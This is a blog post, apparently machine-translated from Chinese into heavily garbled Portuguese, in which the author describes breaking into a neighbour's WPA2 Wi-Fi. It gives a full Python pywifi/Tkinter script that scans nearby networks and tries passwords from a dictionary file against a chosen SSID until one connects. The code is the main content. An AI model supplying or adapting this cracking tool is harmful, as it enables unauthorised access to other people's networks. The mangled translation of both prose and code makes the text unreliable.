desenvolvedores Android agora criaram um Amigos do círculo de água, o círculo vai de vez em quando para atualizar alguns dados avançados Android de classe, são bem-vindos para discutir com problemas técnicos, o desenvolvimento comum e de progresso! (UI inclui engenheiros seniores, inferior Android do engenheiro de desenvolvimento, arquiteto Android, otimização de desempenho otimização nativa e híbrido, especialização vibração); pesos pesados de tecnologia quer se juntar, maior será a mais o círculo direito de resolver o problema da água disponível!
Ontem à noite, sua rede de casa, o código para fins, net stop agricultura, que pode ser capaz de? rede de reparação chamada, disse muito tarde, para o dia seguinte para vir ...
sinal wifi repente encontrou ao lado do papel da irmã da grade completa wow, que me faz mover mal, ver, não há maneira de esfregar a rede, em primeiro lugar, usando uma chave mestra, sem sucesso ~~~
Só posso usar o dicionário senha para executar, oh, este pequeno recurso, certifique-se de python só pode ser feito, e procurar, encontrei pywifi este componente apenas para atender a demanda.
Vamos olhar o processo de gravação que a minha operação.
pensamento
Wifi nome dado, podemos reciclar uma senha para levá-los a tentar fazer, se não conseguir desconexão até que a conexão é bem sucedida.
Que a importação das bibliotecas de terceiros necessários (faça o download e instalar o seu próprio bem), chamar a interface de rede por pywifi, a fim de fazer o teste, laço lê a senha tentar se conectar. Aqui só você precisa mudar o nome do caminho senha e arquivo para wifi.
Preparando o Ambiente
python2.7
módulo pywifi
dicionário
módulo de importação
de pywifi import *
Dicionário pronto
Aleatório fora do wi-fi fraco TOP10 senhas. Linha contém apenas uma senha definida, rode o script lê cada linha de código até que a senha correta é encontrada.
O código completo
Codificação # :. UTF-8 de Tkinter * Importação de TTK Tkinter Import Import pywifi de pywifi const Import Import Tempo Import tkinter.filedialog Import tkinter.messagebox MY_GUI classe (): DEF do __init __ (self, init_window_name): self.init_window_name = init_window_name # senha caminho do arquivo self.get_value StringVar = () # get rachadura conta wi-fi self.get_wifi_value StringVar = () # obter wifi senha self.get_wifimm_value = StringVar () self.wifi = pywifi.PyWiFi () # rastejando interface de rede self.iface = self.wifi.interfaces () [0] # buscar a primeira LAN sem fios self.iface.disconnect () ligação # teste de desconectar todos os links time.sleep (1) # 1 segundo de sono # Verificar se o cartão de fora do estado Assert self.iface.status () em \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str __ (auto): retorno '(Wi-Fi:% s% s)' % (self.wifi, self.iface.name () ) #设置窗口 def set_init_window (self): self.init_window_name.title ( "WIFI破解工具") self.init_window_name.geometry ( '+ 500 + 200') labelframe = LabelFrame (width = 400, height = 200, text ="配置") labelframe.grid (coluna = 0, linha = 0, padx = 10, pady = 10) self.search = Button (labelframe, text ="搜索附近WiFi", command = self.scans_wifi_list) .grid (coluna = 0, linha = 0) self.pojie = Button (labelframe, text = "开始破解", command = self.readPassWord) .grid (coluna = 1, linha = 0) self.label = Rótulo (labelframe, text ="caminho de directório :. ") da grade (coluna = 0, linha = 1) self.path = Entrada (labelframe, largura = 12, textVariable = self.get_value) .grid (coluna = 1, linha = 1) self.file = botão (labelframe, texto = "添加密码文件目录", comando = self.add_mm_file) .grid (coluna = 2, linha = 1) self.wifi_text = etiqueta (labelframe, texto = "Wi-Fi账号:".) grelha (coluna = 0, linha = 2) self.wifi_input = Entrada (labelframe, largura = 12, textVariable = self.get_wifi_value) .grid (coluna = 1, linha = 2) self.wifi_mm_text = etiqueta (labelframe, texto = "Wi-Fi密码:"). grade (coluna = 2, linha = 2) self.wifi_mm_input = Entrada (labelframe, largura = 10, textVariable = self.get_wifimm_value) .grid (coluna = 3, linha = 2, pegajoso = W) self.wifi_labelframe = LabelFrame (texto = "wi-fi列表") self.wifi_labelframe. grade (coluna = 0, linha = 3, ColumnSpan = 4, pegajoso = NSEW) #定义树形结构与滚动条 self.wifi_tree = ttk.Treeview (self.wifi_labelframe, mostra = "posições", colunas = ( "um" , "b", "c", "d")) self.vbar = ttk.Scrollbar (self.wifi_labelframe, orient = VERTICAL, command = self.wifi_tree.yview) self.wifi_tree.configure (yscrollcommand = self.vbar.set) #表格的标题 self.wifi_tree.column ( "a "largura = 50, = âncora "centro") self.wifi_tree.column ( "b", largura = 100, âncora = "centro") self.wifi_tree.column ( "C", largura = 100, âncora =" centro ") self.wifi_tree.column (" d", largura = 100, âncora = "centro") self.wifi_tree.heading ( "um", texto = "WiFiID") self.wifi_tree.heading ( "b", text = "SSID") self.wifi_tree.heading ( "C", texto = "BSSID") self.wifi_tree.heading ( "d", texto = "sinal") self.wifi_tree.grid (linha = 4, coluna = 0,pegajosa = NSEW) self.wifi_tree.bind ( "<Double-1>", self.onDBClick) self.vbar.grid (Row = 4, = coluna 1, o NS = pegajoso..) # Pesquisa WiFi #cmd / K C: \ python27 \ python.exe " $ (FULL_CURRENT_PATH) "e Pausa & SAIR scans_wifi_list DEF (Self) de acesso à internet a digitalização de uma lista de cerca de # # iniciar a digitalização de impressão (" ^ _ ^ ... perto do início do wi-fi varredura ") self.iface.scan () o time.sleep (15 ) # obter os resultados da verificação em poucos segundos scanres self.iface.scan_results = () estatísticas # são encontrados perto do número de hotspots os nums = lEN (scanres) impressão ( "número:% s" % (a nums)) #print ( "| S% |% S | S% |% s "% (" WIFIID "" SSID "" BSSID "" Signal ")) # real de dados self.show_scans_wifi_list (scanres) scanres retorno # para exibir uma lista de wi-fi def show_scans_wifi_list (self, scans_res): self.get_wifi_value.set (self.wifi_tree.item (self.sels, "valores") [1]) para o índice, wifi_info em Enumerar (scans_res): # Impressão ( "% - * s |% s |% * s |% * s \ n" % (20, índice, wifi_info.ssid, wifi_info.bssid ,, wifi_info.signal)) self.wifi_tree.insert ( "" , 'fim', valores = (índice de + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) #print ( "|% s | s% |% s |% s \ n" % (índice, wifi_info. SSID, wifi_info.bssid, wifi_info.signal)) #添加密码文件目录 def add_mm_file (self): self.filename = tkinter.filedialog.askopenfilename () self.get_value.set (self.filename) #Treeview绑定事件 def onDBClick (self, evento): self.sels = event.widget.selection () #print ( "você clicou", self.wifi_tree.item (self.sels, "valores") [1]) #读取密码字典,进行匹配 def readpassword (auto): self.getFilePath = self.get_value.get () #print ( "文件路径:% s \ n" % (self.getFilePath)) self.get_wifissid = self.get_wifi_value.get () #print ( "SSID:% s \ n "% (self.get_wifissid)) self.pwdfilehander = open (self.getFilePath, "r", errors = "ignorar") while True: try: self.pwdStr = self.pwdfilehander.readline () #print ("密码:% s "% (self.pwdStr)) se não self.pwdStr: quebra self.bool1 = self.connect (self.pwdStr, self.get_wifissid) get_wifissid) #print ( "Valor de retorno:% s \ n" % ( self.bool1)) se self.bool1: # print ("密码正确: "+ pwdStr # res = "密码:% s正确\ n" % self.pwdStr; self.res = "=== === wi-fi nome correto:% s jogo password:% s" % (self.get_wifissid, self.pwdStr) self.get_wifimm_value.set (self.pwdStr) tkinter.messagebox.showinfo ( ' Dica '' break sucesso !!! ') Imprimir (self.res) qUEBRAR a mais: # impressão ( "password:" + self.pwdStr + "erro") self.res = "erro --- --- nome wi-fi: password jogo% s:% s "% (self.get_wifissid, self.pwdStr) impressão (self.res) SLEEP (3) a exceção: o Continue # de wifi e combinar senha DEF Connect (Auto, pwd_Str, wifi_ssid): # cria WiFi File ligação self.profile = pywifi.Profile () self.profile.ssid = wifi_ssid # WiFi nome self.iface.disconnect () # OFF tempo de latência (. 1) # verificação off estado self.profile.auth = const.AUTH_ALG_OPEN # aberta NIC self.profile.akm.append (const.AKM_TYPE_WPA2PSK) # WiFi criptografia algoritmo self.profile.cipher = const.CIPHER_TYPE_CCMP # unidade de encriptação self.profile.key = pwd_Str # senha self.iface.remove_all_network_profiles () # excluir todos os arquivos wi-fi self.tmp_profile = self.iface.add_network_profile (self.profile) # set novo arquivo de ligação self.iface.connect (self.tmp_profile) # ligação time.sleep ( . 5) iF self.iface.status () == const.IFACE_CONNECTED: # determina se ou não a conexão Isok = True a mais: Isok Falso = assert self.iface.status () em \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] voltar Isok def gui_start (): init_window = Tk () ui = MY_GUI (init_window) print (ui) ui.set_init_window () # ui.scans_wifi_list () init_window.mainloop () gui_start ()
resultado
resultados da execução são mostrados na figura, você Gui acordo com a operação, podemos começar a correr para cima.
Existem outras opiniões receber comentários. questões para debate, por favor deixe uma mensagem, o caminho para o ringue: + polegares atenção, carta de resposta pessoal para mim 'informação' lata para o ringue.